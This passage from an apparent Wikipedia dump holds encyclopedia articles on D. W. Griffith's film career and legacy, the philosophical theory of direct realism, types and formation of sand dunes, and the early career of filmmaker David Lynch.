Between 1908 and 1913 (the years he directed for the [[American Mutoscope and Biograph Company|Biograph Company]]), Griffith produced 450 short films, an enormous number even for this period. This work enabled him to experiment with [[cross-cutting]], camera movement, [[close-up]]s, and other methods of spatial and temporal manipulation.  

On Griffith's first trip to California, he and his company discovered a little village to film their movies in. This place was known as [[Hollywood]]. With this, [[American Mutoscope and Biograph Company|Biograph]] was the first company to shoot a movie in Hollywood: ''[[In Old California (1910)|In Old California]]'' (1910). 

Influenced by a European feature film &quot;[[Cabiria]]&quot; from Italy, Griffith was convinced that longer films (then called &quot;features&quot;) could be financially viable. He produced and directed the [[American Mutoscope and Biograph Company|Biograph]]  feature film [[Judith of Bethulia]]. This was one, if not &quot;The&quot; first feature ever produced in the United States. [[American Mutoscope and Biograph Company|Biograph]] believed that longer features were not viable, and as actress [[Lillian Gish]] puts it &quot;They (Biograph) thought that a movie that long would hurt their (The audience's) eyes&quot;. Because of this, and the overrun on the budget by the film which cost 30,000 dollars to produce, Griffith and [[American Mutoscope and Biograph Company|Biograph]] parted ways, with Griffith taking his whole stock company of actors with him. His new production company became an autonomous production unit partner in Triangle Pictures Corporation with [[Keystone Studios]] and [[Thomas Ince]]. Through David W. Griffith Corp. he produced ''[[The Birth of a Nation]]'' (1915).

''Birth of a Nation'' was extremely popular but expressed the racist views of the era. The film ends with the Ku Klux Klan galloping in to save the heroine.  In reaction to protests, Griffith mounted his most ambitious project, ''[[Intolerance (film)|Intolerance]]'', an epic spanning several thousand years of human history. The film was a flop, and the Triangle partnership was dissolved in 1917, so Griffith went to Artcraft (part of [[Paramount Pictures|Paramount]]), then to [[First National]] (1919-20). At the same time he founded [[United Artists]], together with [[Charlie Chaplin]], [[Mary Pickford]], and [[Douglas Fairbanks]].

Though United Artists survived as a company, Griffith's association with it was short-lived, and while some of his later films did well at the box office, commercial success often eluded him.  Features from this period include ''[[Broken Blossoms]]'' (1919), ''[[Way Down East]]'' (1920), ''[[Orphans of the Storm]]'' (1921) and ''[[America (movie)|America]]'' (1924).  Griffith made only two sound films, ''[[Abraham Lincoln (movie)|Abraham Lincoln]]'' (1930) and ''[[The Struggle]]'' (1931).  Neither was successful, and he never made another film.

Griffith Park in [[Los Angeles]] is named for D. W. Griffith.

==Achievements==
Griffith has been called the father of [[film grammar]]. Few scholars still hold that his &quot;innovations&quot; really began with him, but Griffith was a key figure in establishing the set of codes that have become the universal backbone of film language. He was particularly influential in popularizing &quot;cross-cutting&quot; - using [[film editing]] to alternate between different events occurring at the same time - in order to build [[suspense]]. That being said, he still used many elements from the &quot;primitive&quot; style of movie-making that predated [[Classical Hollywood cinema|classical Hollywood]]'s continuity system, such as frontal staging, exaggerated gestures, minimal camera movement, and an absence of [[point of view shot]]s.  Some claim, too, that he &quot;invented&quot; the [[close-up]] shot.

Credit for Griffith's cinematic innovations must be shared with his cameraman of many years, [[Billy Bitzer]].  In addition, he himself credited the legendary silent star [[Lillian Gish]], who appeared in several of his films, with creating a new style of acting for the cinema.

[[Image:wiki_dwgriffith.JPG|thumb|left|Stamp issued by the [[United States Postal Service]] commemorating D. W. Griffith.]]

==Controversy==
Griffith was a highly controversial figure.  Immensely popular at the time of its release, his film ''[[The Birth of a Nation]]'' (1915), based on the novel ''[[The Clansman]]'', is widely considered responsible for the resurgence of the [[Ku Klux Klan]] in the United States. The [[NAACP]] attempted to have ''The Birth of a Nation'' banned. After that effort failed, they then attempted to have some of the film's scenes censored.

==Legacy==
Motion picture legend [[Charles Chaplin]] called Griffith &quot;The Teacher Of Us All&quot;.  This sentiment was widely shared.  Filmmakers as diverse as [[John Ford]] and [[Orson Welles]] have spoken of their respect for the director of ''[[Intolerance]]''.  Whether he actually invented new techniques in film grammar, he seems to have been among the first to understand how these techniques could be used to create an expressive language.  In early shorts such as Biograph's ''[[The Musketeers of Pig Alley]]'' (1912) which was the first &quot;Gangster film&quot;, we can see how Griffith's attention to camera placement and lighting heighten mood and tension.  In making ''[[Intolerance]]'' the director opened up new possibilities for the medium, creating a form that seems to owe more to music than to traditonal narrative.

Griffith was honored on a 10-cent postage stamp by the [[United States]] issued [[May 5]], [[1975]].

In [[1953]], the [[Directors Guild of America]] instituted the [[D.W. Griffith Award]], its Guild's highest honor. Its recipients included [[Stanley Kubrick]], [[David Lean]], [[John Huston]], [[Woody Allen]], [[Akira Kurosawa]], [[John Ford]], [[Ingmar Bergman]], [[Alfred Hitchcock]] and Griffith's friend [[Cecil B. DeMille]]. On [[15 December]], [[1999]], however, DGA President Jack Shea and the DGA National Board - without membership consultation (though unecessary according to DGA's regulations)- announced that the award would be renamed the [[DGA Lifetime Achievement Award]] because Griffith's film ''[[Birth of a Nation]]'' had &quot;helped foster intolerable racial stereotypes&quot;. The following living recipients of the award agreed with the guild's decision: [[Francis Ford Coppola]], [[Robert Altman]], [[Sidney Lumet]] and [[Robert Wise]].

==Selected filmography==
*''[[The Birth of a Nation]]'' ([[1915]])
*''[[Intolerance (film)|Intolerance]]'' ([[1916]])
*''[[Broken Blossoms]]'' ([[1919]])
*''[[Way Down East]]''  ([[1920]])
*''[[Orphans Of The Storm]]''  ([[1921]])
*''[[America (1924 movie)|America]]'' ([[1924]])

==External links==
* {{imdb name|id=0000428|name=D.W. Griffith}}

[[Category:1875 births|Griffith, D. W.]]
[[Category:1948 deaths|Griffith, D. W.]]
[[Category:English Americans|Griffith, D.W.]]
[[Category:Methodists|Griffith, D.W.]]
[[Category:People from Kentucky|Griffith, D. W.]]
[[Category:Welsh-Americans|Griffith, D.W.]]
[[Category:American film directors|Griffith, D.W.]]

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  </page>
  <page>
    <title>Direct realism</title>
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      <text xml:space="preserve">'''Direct realism''' is a theory of [[perception]] that claims that the [[senses]] provide us with direct [[awareness]] of the [[external world]]. In contrast, [[indirect realism]] and [[representationalism]] claim that we are directly aware only of internal representations of the external world. 

Direct realists sometimes claim that indirect realists are confused about conventional [[idiom]]s of perceptions. Perception is an exemplar of direct contact with something. Examples of indirect perception might be seeing something in a photograph, or hearing a recording of a voice. Direct realists often argue, contra representationalists, that the fact that one becomes aware of a tree in perception through a complex neurophysical process does not argue in favour of indirect perception. It merely establishes the method, undoubtedly complex, by which direct awareness of the world is secured. Arguing that perceiving a tree directly requires a [[magic (paranormal)|magic]]al, [[causality|acausal]] mirroring of the tree in the mind is akin to arguing that traveling directly to grandmother's requires that one magically appear at her doorstep. The inference from the fact of a complex route to indirectness may be an instance of the [[genetic fallacy]].

Direct realism proposes no physical theory of experience and does not identify experience with the [[quantum mechanics|quantum]] phenomena that are things in themselves or even with the twin [[retina]]l images. This lack of [[supervenience]] of experience on the physical world means that direct realism is not a physical theory.

==Examples of the direct realist approach==
[[Scottish people|Scottish]] philosopher [[Thomas Reid]] lived at the same time as [[David Hume]]. Reid argued strenuously against the notion that ideas, or sense-data, are the immediate objects of perception at all -- he rejected representationalism.

One of Reid's arguments was very simple, and went like this: If representationalism is correct, then we are forced to either [[skepticism]] or [[phenomenalism]]. But skepticism and phenomenalism are both [[absurd]]; there surely is an external world, and we surely do have [[knowledge]] of it. So, by ''[[reductio ad absurdum]]'', we must reject any [[theory]] that would force us to accept either skepticism or phenomenalism. So, we must reject representationalism.

What would it mean to reject representationalism? It would mean accepting that we do not perceive [[sense data]] at all. When I look at my hand, I do not immediately perceive a bundle or series of hand sense data which represent my actual hand. No, I immediately perceive my hand. I do not perceive any hand sense-data at all. So the view up for consideration now is that we immediately, directly perceive the external world.

This view is called ''direct realism'', which Reid championed brilliantly:&lt;blockquote&gt;Direct realism is the view that the immediate (direct) objects of perception are external [[objects]], [[qualities]], and [[events]].&lt;/blockquote&gt;Do not confuse direct realism with the more naïve view discussed earlier, that the world is exactly as we perceive it to be. Obviously, sometimes we misperceive the world. The direct realist does not deny that there are perceptual illusions. The claim is, rather, simply that when we do perceive something, what we directly perceive, the immediate object of perception, is in the external world, not in the mind.

Nonetheless, the argument from illusion can be taken as an argument against direct realism because the argument from illusion shows the need to posit sense-data as the immediate objects of perception. How might direct realism answer the argument from illusion?

One strategy is to show how all those different cases of misperception, failed perception, and perceptual relativity -- all those hard cases -- do not really make it necessary to suppose that there are sense-data. Those cases might be explained without having to talk about sense-data.

Take first the case of the stick that looks bent in the water. Direct realism doesn't say that the stick actually is bent; it says, rather, that the stick, which is straight, can, in some unusual circumstances, look bent. And to say that it looks bent is just to say that the light, which is reflected from the stick, arrives at our eyes in a crooked pattern. So the stick can have more than one appearance. But the appearance of a stick isn't a sense-datum in my mind. It's a pattern of light, the sort of things that physicists can study, that arrives at my eye. What's mysterious about that? A similar sort of thing can be said about the bluish color of the hills in the distance. Hills, and everything else, can appear with all sorts of different colors; but the color is simply the wavelength of light as it reaches my eye. If the light from the green hills has to traverse many miles, then it may be bluish when it arrives at my eyes. There's no need to suppose I am seeing bluish sense-data: nope, what I'm seeing is bluish light, which comes from the hills. The hills would reflect green light to my eyes if I were closer to them.

Now the case of pressing on my eyeball, and getting a double image. Well, it's undeniable that, when I cross my eyes and seem to see two fingers, there are two of something. But of what? Why say there are two sense-data? Why not, instead, say that I have two eyes, and each eye gives me a different view upon the world. Usually the eyes are focused in the same direction; but sometimes they're not. And as a result, each eye sees things in a different way. That doesn't mean that I see two visual sense-data in my mind; but it does mean that there are two slightly different acts of vision going on. One for each eye! What's mysterious about that? Nothing, as far as I can tell. And similar things can be said about the coin that appears both circular and oval-shaped: so the same coin can reflect different patterns of light to my eye. Does that mean that I perceive two different sense-data? No, all it means is that I perceive the same coin in two different ways.

Now as for Mary's vivid hallucination of the pink elephants. It was so vivid that the elephants were just as real as real elephants. We said this was evidence for thinking that she is perceiving sense-data; she sure as heck isn't perceiving elephants, and yet she seems to be hallucinating something. So maybe it's elephant sense-data that she is hallucinating. Well, that seems like a pretty tough case to deal with. It definitely does seem that there is an object, in some sense, of Mary's hallucination; but this object is only in her mind. Isn't that what we'd call sense-data?

The direct realist might reply to that case as follows: Mary was not perceiving anything at all; she was hallucinating. That's a different, though related, mental process. So maybe Mary has visual images of some sort when she is hallucinating; that wouldn't mean that she has such images when she engages in actual sense-perception.

This may not be a particularly strong reply. If there are visual images when we hallucinate, it seems reasonable to think that there are visual images when we see. It's the same way with dreams: if there are visual and auditory images of some sort in our minds, when we dream, it seems reasonable to think that there are visual and auditory images, or sense-data, when we are awake and perceiving things. We might ask for a better reply.

Some people end up denying that there are any such things as mental images at all, but this is rather hard to maintain, since we seem to be able to imagine all sorts of things: for example, here's something that will give you an image: imagine a square, then imagine the top of the square popping off and disappearing, and the two sides of the square collapsing together at a point, to make a triangle. Even if it should happen that perception does not involve images, other mental processes, like imagination, certainly seem to.

==Mental images==
The topic of mental images is very complicated and controversial.

One considered view is similar to Reid's. It is that, in some sense, we do indeed have images of various sorts in our minds when we perceive, and dream, and hallucinate, and use our imaginations, but when we actually perceive things, our sensory images, or sensations, if you will (that's Reid's word), cannot be considered the objects of perception, or attention, in any sense whatsoever. The only objects of perception are external objects. Even if perception is accompanied by images, or sensations, it's wrong to say we perceive sensations.

This conclusion shows that direct realism simply defines perception as perception of external objects where an 'external object' is allowed to be a photon in the eye but not an impulse in a nerve leading from the eye. Recent work in neuroscience suggests a shared ontology for perception, imagination and dreaming, with similar areas of brain being used for all of these. As le Morvan (2004) points out, such a shared ontology is fatal for direct realism.

==See also==
* [[Philosophy of mind]] 
* [[Consciousness]] 
* [[Philosophy of perception]] 
* [[Thomas Reid]]

[[Category:Philosophy of mind]]

== External links ==
* [http://home.sprynet.com/~owl1/book1.htm ''Skepticism and the Veil of Perception''], book defending direct realism.
* [http://www.tcnj.edu/~lemorvan/DR_web.pdf Pierre Le Morvan, &quot;Arguments against direct realism and how to counter them&quot;], ''American Philosophical Quaterly'' 41, no. 3 (2004): 221-234. (pdf)
*[http://cns-alumni.bu.edu/~slehar/webstuff/bubw3/bubw3.html Steven Lehar, &quot;Gestalt Isomorphism&quot;] (2003), paper criticizing direct realism.
* [http://home.sprynet.com/~owl1/dis.htm ''A Direct Realist Account of Perceptual Awareness''], dissertation on direct realism.
* &quot;[http://plato.stanford.edu/entries/sense-data/ Sense Data]&quot;, article from the ''Stanford Encyclopedia of Philosophy''.
* [http://cns-alumni.bu.edu/~slehar/cartoonepist/EpistDebate.html Epistemological debate on PSYCHE-D mailing list]
* [http://cns-alumni.bu.edu/~slehar/cartoonepist/cartoonepist.html A Cartoon Epistemology]</text>
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  <page>
    <title>Dune</title>
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      <text xml:space="preserve">{{two other uses|sand formations|the [[science fiction]] novel by [[Frank Herbert]]|Dune (novel)}}
[[image:Mesquite_Sand_Dunes.JPG|thumb|300px|Mesquite Flat Dunes in [[Death Valley National Park]]]] 
In physical [[geography]], a '''dune''' is a [[hill]] of [[sand]] built by [[eolian]] ([[wind]]-related) processes. Bare dunes are subject to shifting location and size based on their interaction with the wind. The &quot;valley&quot; or trough between dunes is called a ''slack''. A &quot;dune field&quot; is an area covered by extensive sand dunes. 

Some coastal areas have one or more sets of dunes running parallel to the shoreline directly inland from the [[beach]]. In most such cases the dunes are important in protecting the land against potential ravages by storm waves from the [[sea]]. Although the most widely distributed dunes are those associated with coastal regions, the largest complexes of dunes are found inland in dry regions and associated with ancient [[lake]] or [[sea]] beds.

Dunes also form under the action of water flow ([[alluvial]] processes), on sand or [[gravel]] beds of [[river|rivers]], [[estuary|estuaries]] and the sea-bed.

==Types of dune==
===Crescentic===
The most common dune form on Earth (and on Mars) is the crescentic. Crescent-shaped mounds generally are wider than long. The slipface is on the dune's concave side. These dunes form under winds that blow from one direction, and they also are known as barchans, or transverse dunes. Some types of crescentic dunes move faster over [[desert]] surfaces than any other type of dune. A group of dunes moved more than 100 meters per year between 1954 and 1959 in [[China]]'s [[Ningxia Province]]; similar rates have been recorded in the Western Desert of [[Egypt]]. The largest crescentic dunes on Earth, with mean crest-to-crest widths of more than 3 kilometers, are in China's [[Taklamakan]] Desert.

===Linear===
Straight or slightly sinuous sand ridges typically much longer than they are wide are known as linear dunes. They may be more than 160 kilometers long. Linear dunes may occur as isolated ridges, but they generally form sets of parallel ridges separated by miles of sand, gravel, or rocky interdune corridors. Some linear dunes merge to form Y-shaped compound dunes. Many form in bidirectional wind regimes. The long axes of these dunes extend in the resultant direction of sand movement.

===Star===
Radially symmetrical, star dunes are pyramidal sand mounds with slipfaces on three or more arms that radiate from the high center of the mound. They tend to accumulate in areas with multidirectional wind regimes. Star dunes grow upward rather than laterally. They dominate the [[Grand Erg Oriental]] of the Sahara. In other deserts, they occur around the margins of the [[sand sea]]s, particularly near topographic barriers. In the southeast [[Badain Jaran Desert]] of China, the star dunes are up to 500 meters tall and may be the tallest dunes on Earth.

===Dome===
Oval or circular mounds that generally lack a slipface, dome dunes are rare and occur at the far upwind margins of sand seas.
[[Image:Parabolic_dune.jpg|200px|thumb|Parabolic dune partially stabilized by [[marram grass]]]]

===Parabolic===
U-shaped mounds of sand with convex noses trailed by elongated arms are parabolic dunes. Sometimes these dunes are called U-shaped, blowout, or hairpin dunes, and they are well known in coastal deserts. Unlike crescentic dunes, their crests point upwind. The elongated arms of parabolic dunes follow rather than lead because they have been fixed by vegetation, while the bulk of the sand in the dune migrates forward.
;

===Combined types===
[[Image:SandDuneNamibDesert.jpg|thumb|left|250px|Complex dune: [[Dune 7]] in the [[Namib desert]], one of the tallest in the world.]] 
Occurring wherever winds periodically reverse direction, reversing dunes are varieties of any of the above types. These dunes typically have major and minor slipfaces oriented in opposite directions.

All these dune types may occur in three forms: simple, compound, and complex. Simple dunes are basic forms with a minimum number of slipfaces that define the geometric type. Compound dunes are large dunes on which smaller dunes of similar type and slipface orientation are superimposed, and complex dunes are combinations of two or more dune types. A crescentic dune with a star dune superimposed on its crest is the most common complex dune. Simple dunes represent a wind regime that has not changed in intensity or direction since the formation of the dune, while compound and complex dunes suggest that the intensity and direction of the wind has changed.

==Coastal dunes==
[[Image:Curonian spit.jpg|200px|thumb|Coastal dunes in [[Curonian spit]]]]
Dunes form on coasts where the backshore can support and onshore winds encourage the accumulation of sand blown inland from off a beach.  Any part of the upper beach, once dry, can lose sand to the wind, especially if the sand is fine, and dune formation proceeds in the direction towards which the predominant wind direction is blowing.

Dunes provide [[privacy]] and shelter from the [[wind]].  

===Succession on coastal dunes===
[[Image:Studland fore dune.jpg|frame|The fore dune and first yellow dune at [[Studland]], [[England]]]]

As a dune forms, plant [[succession]] occurs.  The conditions on an ''embryo dune'' are harsh, with [[salt spray]] from the sea carried on strong winds.  The dune is well drained and often dry.  Rotting sea weed brought in by storm waves adds enough nutrients to allow [[pioneer species]] to colonize dune.  These pioneer species are [[marram grass]], [[sea wort grass]] and other sea grasses in England.  These plants are well adapted to the harsh conditions of the fore dune, typically having deep roots which reach the [[water table]], [[root nodules]] that produce [[nitrogen]] compounds, and protected [[stoma]], reducing [[transpiration]].  The deep roots also bind the sand together, and the dune grows into a [[fore dune]] as more sand is blown over the grasses.  The grasses add [[nitrogen]] to the soil, meaning other, less hardy plants can then colonize the dunes.  Typically these are [[heather]]s and [[gorse]]s.  These too are adapted to the low soil water content and have small, prickly leaves which reduce transpiration.  Heathers add [[humus]] to the soil, but have a [[pH]] of lower than 7, so make the soil slightly [[acidic]].  Heathers are usually replaced by [[conifer]]ous trees which can tolerate the low pH.  Coniferous forests and [[heathland]] are common [[climax community|climax communities]] for sand dune systems.

Young dunes are called [[yellow dune]]s, dunes which have high humus content are called [[grey dune]]s.  Leaching occurs on the dunes, washing humus into the slacks, and the slacks may be much more developed than the exposed tops of the dunes. 

For the [[snow]] analogue to a sand dune see [[sastruga]].

==Sub-aqueous dunes==
Sub-Aqueous ([[underwater]]) dunes form on a bed of sand or gravel under the actions of water flow.  They are ubiquitous in natural [[Channel (geography)|channels]] such as rivers and estuaries, and also form in engineered [[Canal|canals]] and pipelines.  Dunes move downstream as the upstream slope is eroded and the sediment deposited on the downstream or lee slope.  

These dunes most often form as a continuous 'train' of dunes, showing remarkable similarity in [[wavelength]] and height.  

Dunes on the bed of a channel significantly increase flow resistance, their presence and growth playing a major part in river [[flooding]].

== Longitudinal and transverse dunes ==
[[Image:Seif.gif|right|250px]]
Longitudinal dunes, also called Seif dunes, elongate parallel to the prevailing wind, possibly caused by a larger dune having its smaller sides blown away. Seif dunes are sharp-crested and are common in the Sahara. They range up to 300 m (900 ft) in height and 300 km (200 mi) in length.

Seif dunes are thought to develop from barchans if a change of wind direction occurs. The new wind direction will lead to the development of a new wing and the overdevelopment of one of the original wings. If the prevailing wind then becomes dominant for a lengthy period of time the dune will revert to its barchan form, with one exaggerated wing. Should the strong wind then return the exaggerated wing will further extend so that eventually it will be supplied with sand when the prevailing wind returns. The wing will continue to grow under both wind conditions, thus producing a seif dune. On a seif dune the slip face develops on the side facing away from the strong wind, while the slip face of a barchan faces the direction of movement. In the sheltered troughs between highly developed seif dunes barchans may be formed because the wind is unidirectional.

A transverse dune is horizontal to the prevailing wind, probably caused by a steady buildup of sand on an already existing minuscule mound.

==Lithified dunes==
A lithified (consolidated) sand dune is a type of sandstone that is formed when a marine or eolian sand dune becomes compacted and hardened. Once in this form, water passing through the rock can carry and deposit minerals, which can alter the hue of the rock. Cross-bedded layers of stacks of lithified dunes can produce the cross-hatching patterns, such as those seen in [[Zion National Park]].

A local slang term used for these consolidated dunes is &quot;slickrock&quot;, a name that was introduced by pioneers of the old west because their steel-rimmed wagon wheels could not gain purchase on the rock.

==Examples==
*The [[Kelso Dunes]], in the [[Mojave desert]] of [[California]].

===Sand dune plains===
:(large expanses of dunes)
*[[Great Sand Dunes National Park]]
*[[Mesquite Flat Dunes]], [[United States|USA]]
*[[Western Sahara]]
*[[White Sands National Monument]]
*[[Rig-e Jenn]] in the Central Desert of [[Iran]]
*The [[Great Sand Dunes]] of southwest [[Saskatchewan]]
*[[Southeastern Shore of Lake Michigan]]
*[[Imperial Sand Dunes]] near [[Brawley, California]]
*[[Guadalupe-Nipomo Dunes, Central Coast California, see Dunes Center, Guadalupe, CA]]

===Sand dune systems===
:(coastal dunes featuring succession)
*[[Studland]], [[Dorset]], [[England]]
*[[Murlough Sand Dunes]], [[Newcastle, County Down|Newcastle]], [[County Down|Co Down]], [[Northern Ireland]]
*[[Morfa Harlech Sand Dunes]], [[Snowdonia]], [[North West Wales]]

===External links===
*[http://www.geographyinaction.co.uk/Magilligan/Mag_intro.html Magilligan Dunes, Northern Ireland]
*[http://www.tec.army.mil/research/products/desert_guide/lpisheet/lpdunes1.htm Dune pattern identification, U.S. Army]
*[http://www.geocities.com/Yosemite/Falls/9200/lnt_dune_hiking.html Treading Lightly: Minimum Impact Dune Hiking]

==See also==
{{commons|Dune}}
*[[Earth science]]
*[[List of landforms]]
*[[Singing Sand Dunes]]
*[[Dune (novel)]]

==References and external links== 
* ''[[The Physics of Blown Sand]]'' ([[1941]]) by [[Ralph Bagnold]]

[[Category:Landforms]]

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  <page>
    <title>David Lynch</title>
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      <text xml:space="preserve">[[Image:DAVID LYNCH (CannesPhotocall).jpg|right|200px|thumb|David Lynch at [[Cannes Film Festival|Cannes]] in [[2001 in film|2001]]]]

'''David Keith Lynch''' (born [[January 20]], [[1946]], in [[Missoula, Montana]]) is an [[United States|American]] [[filmmaker]].

Lynch's films are known for their elements of [[surrealism]], their nightmarish and [[dream]]like sequences, their stark and strange images, and their meticulously crafted audio. Most of his work explores the seedy underside of small-town U.S.A. (e.g. ''[[Blue Velvet]]'' and the &quot;[[Twin Peaks]]&quot; television series) or sprawling metropolises (''[[Eraserhead]],'' ''[[Lost Highway]],'' ''[[Mulholland Drive (film)|Mulholland Drive]]''). Due to his peculiar style and focus on the American psyche, producer [[Mel Brooks]] once called Lynch, &quot;[[Jimmy Stewart]] from [[Mars]].&quot;

Lynch is one of the few modern directors whose visual and verbal styles are instantly recognizable. Although never a box office giant or a consistent favorite of film critics, he has maintained a [[cult following]].

== Career ==
=== Early days ===
Lynch grew up an archetypal all-American boy. His father was a [[U.S. Department of Agriculture]] research scientist. He was raised throughout the [[Pacific Northwest]].  He attained the rank of [[Eagle Scout rank (Boy Scouts of America)|Eagle Scout]], and on his fifteenth birthday served as an usher at [[John F. Kennedy]]'s Presidential inauguration.

With the intention of becoming a painter, Lynch attended classes at [[Corcoran School of Art]] in [[Washington, D.C.]] while finishing high school.  He enrolled in the [[School of the Museum of Fine Arts]] in Boston for one year before leaving for [[Europe]] with the plan to study with [[expressionism|expressionist]] painter [[Oskar Kokoschka]].  Though he had planned to stay for three years, Lynch returned to the US after 15 days.

=== Philadelphia and the short films===
In [[1966]], Lynch relocated to [[Philadelphia]], attended the [[Pennsylvania Academy of Fine Arts]] ([[PAFA]]) and made a series of complex mosaics in geometric shapes which he called ''Industrial Symphonies''. Here too he began working with film. His first [[short film]] ''[[The Short Films of David Lynch#Six Figures Getting Sick|Six Figures Getting Sick]]'' (1966), which he described as &quot;57 seconds of growth and fire, and three seconds of vomit,&quot; was played on a loop at an art exhibit. It won the Academy’s annual film contest. This led to a commission from H. Barton Wasserman to do a film installation in his home. After a disastrous first attempt that resulted in a completely blurred, frameless print, Lynch created ''[[The Short Films of David Lynch#The Alphabet|The Alphabet]]''.

In [[1970]], Lynch turned his attention away from visual art and focused primarily on film. He won a $5,000 grant from the [[American Film Institute]] to produce ''[[The Short Films of David Lynch#The Grandmother|The Grandmother]]'', about a neglected boy who “grows” a grandmother from a [[seed]]. The 30-minute film exhibited many elements that would become Lynch trademarks, including unsettling sound and imagery and a focus on [[subconscious]] desires instead of traditional narration.

===''Eraserhead''===
[[Image:Eraserset1.jpg|left|240px|thumb|Lynch and actor Jack Nance on the set of ''Eraserhead'' (1978)]]
In [[1971]], Lynch moved to [[Los Angeles]] to attend the M.F.A. studies at the [[AFI Conservatory]]. At the Conservatory, Lynch began working on his first feature-length film, ''[[Eraserhead]],'' using a $10,000 grant from the AFI. The grant did not provide enough money to complete the film and, due to lack of a sufficient budget, ''Eraserhead'' was filmed intermittently until [[1977]]. Lynch used money from friends and family, including boyhood friend [[Jack Fisk]], a production designer and the husband of actress [[Sissy Spacek]], and even took a paper route to finish it.

A stark and enigmatic film, ''Eraserhead'' tells the story of a quiet young man ([[Jack Nance]]) living in an industrial wasteland, whose wife gives birth to a constantly hissing [[mutant]] freak of a baby. Lynch has referred to ''Eraserhead'' as &quot;my [[The Philadelphia Story|Philadelphia story]]&quot;, meaning it reflects all of the dangerous and fearful elements he encountered while studying and living in [[Philadelphia]] ([http://www.davidlynch.de/tiplynchtrans.html]). He said &quot;this feeling left its traces deep down inside me. And when it came out again, it became ''Eraserhead''&quot;. 

The film also reflects the director's own fears and anxieties about fatherhood, personified in the form of the bizarre baby, which has become one of the most notorious props in film history. Lynch refuses to discuss how the baby was made, and a long-standing [[urban legend]] claims that it was created using an embalmed [[cattle|cow]] [[fetus]] [http://www.geocities.com/Hollywood/Interview/4749/Eraserheadfaq.htm#6.%20How%20the%20heck%20did%20Lynch%20make%20the%20baby?]. 

The final film was initially judged to be almost unreleasable, but thanks to the efforts of distributor [[Ben Barenholtz]], it became an instant [[cult classic]] and was a staple of midnight movie showings for the next decade. It was also a critical success, launching Lynch to the forefront of [[avant-garde]] filmmaking. [[Stanley Kubrick]] expressed that it was one of his all-time favorite films. It cemented the team of actors and technicians who would continue to define the texture of his work for years to come, including cinematographer [[Frederick Elmes]], sound designer [[Alan Splet]], and actor [[Jack Nance]].

===''The Elephant Man'', ''Dune'' and ''Blue Velvet''===
''Eraserhead'' brought Lynch to the attention of producer [[Mel Brooks]] who hired him to direct [[1980]]’s ''[[The Elephant Man (film)|The Elephant Man]],'' a [[biopic]] of deformed [[Victorian era]] socialite [[Joseph Merrick]]. The film was a huge financial and commercial success and earned eight [[Academy Award]] nominations, including a [[Best Director]] nod for Lynch. It also established his place as a commercially viable, if somewhat dark and unconventional, [[Hollywood]] director.

Afterwards, Lynch agreed to direct a big budget adaptation of [[Frank Herbert]]’s [[science fiction]] [[novel]] ''[[Dune (novel)|Dune]]'' for [[Italy|Italian]] producer [[Dino De Laurentiis]]’s [[De Laurentiis Entertainment Group]] on the condition that the company release a second Lynch project, over which the director would have complete creative control. Although De Laurentiis hoped it would be the next ''[[Star Wars Episode IV: A New Hope|Star Wars]],'' Lynch’s ''Dune'' ([[1984]]) was a critical and commercial dud, costing $45 million to make and grossing a mere $15 million domestically. The film may have been hampered by cuts--the 137-minute film was cut down from Lynch’s three and a half hour [[director's cut]] in a way that made the plot incomprehensible. The studio released an &quot;extended cut&quot; of the film for syndicated television in which some legitimate footage originally cut from the film was reinstated; however the main caveat was that certain shots from elsewhere in the film were repeated throughout the story to give the impression that other footage had been added.  Whatever the case, this was not representative of Lynch’s intended cut, but rather a cut that the studios felt was more comprehensible than the original theatrical cut. Lynch objected to these changes and disowned the extended cut, which has [[Allen Smithee]] credited as the director.  This version has since been released on video worldwide.

[[Image:BlueVelvetLynch.jpg|right|200px|thumb|''Blue Velvet'' (1986)]]
Lynch’s second De Laurentiis-financed project was [[1986]]’s ''[[Blue Velvet]],'' the story of a college student ([[Kyle MacLachlan]]) who discovers the dark side of his small hometown after investigating a severed ear he finds in a field. The film featured memorable performances from [[Isabella Rossellini]] as a tormented lounge singer and [[Dennis Hopper]] as a crude, [[sociopath|sociopathic]] criminal and leader of a small gang of backwater hoodlums.

''Blue Velvet''  was a huge critical success and earned Lynch his second Academy Award nomination. The film introduced several common elements of his work, including abused women, the dark underbelly of small towns, and unconventional uses of vintage songs. [[Bobby Vinton]]’s &quot;Blue Velvet&quot; and [[Roy Orbison]]’s &quot;[[In Dreams]]&quot; are both featured in disturbing ways. It was also the first time Lynch worked with composer [[Angelo Badalamenti]], who would contribute to all of his future full-length films.

===''Twin Peaks'', ''Wild at Heart'', ''Industrial Symphonies'' and ''Hotel Room''===
After failing to secure funding for several completed scripts in the late 1980s, Lynch collaborated with [[television]] producer [[Mark Frost]] on the show ''[[Twin Peaks]]'', about a small [[Washington]] town that is the site of several bizarre happenings. The show centered around the investigation by [[FBI]] [[Special Agent Dale Cooper]] (Kyle MacLachlan) into the death of popular high school student [[Laura Palmer]], an investigation that unearthed the secrets of many town residents. Lynch directed six episodes of the series, including the [[Television pilot|pilot]], and wrote or co-wrote several more.

[[Image:LynchTIME.jpg|left|200px|thumb|Lynch on the cover of the [[October 1]], [[1990]] issue of [[Time Magazine]].]]
The show debuted on the [[ABC Network]] on [[April 8]], [[1990]] and slowly rose from cult hit to cultural phenomenon. No other Lynch-related project has gained such mainstream acceptance. [[Catch phrase]]s from the show entered the cultural dialect and parodies of it were seen on ''[[Saturday Night Live]]'' and ''[[The Simpsons]]''. Lynch appeared on the cover of [[Time magazine]] largely because of the success of the series. Lynch, who has seldom acted in his career, also appeared on the show as the partially-deaf, continually-shouting FBI Regional Bureau Chief Gordon Cole.

However, Lynch clashed with the ABC Network on several matters, particularly whether or not to reveal Laura Palmer’s killer. The network insisted that the revelation be made during the second season but Lynch wanted the mystery to last as long as the series. Lynch soon became disenchanted with the series (many cast members would complain of feeling abandoned) and, after shooting the Twin Peaks pilot episode, set off to work on the film ''[[Wild at Heart]].''

Adapted from the novel by [[Barry Gifford]], ''Wild at Heart'' was an almost hallucinatory [[crime fiction|crime]]/[[road movie]] starring [[Nicholas Cage]] and [[Laura Dern]]. It won the coveted [[Palme d'Or]] at the [[1990]] [[Cannes Film Festival]] but met with a muted response from American critics and viewers. Reportedly, several people walked out of [[test screening]]s.

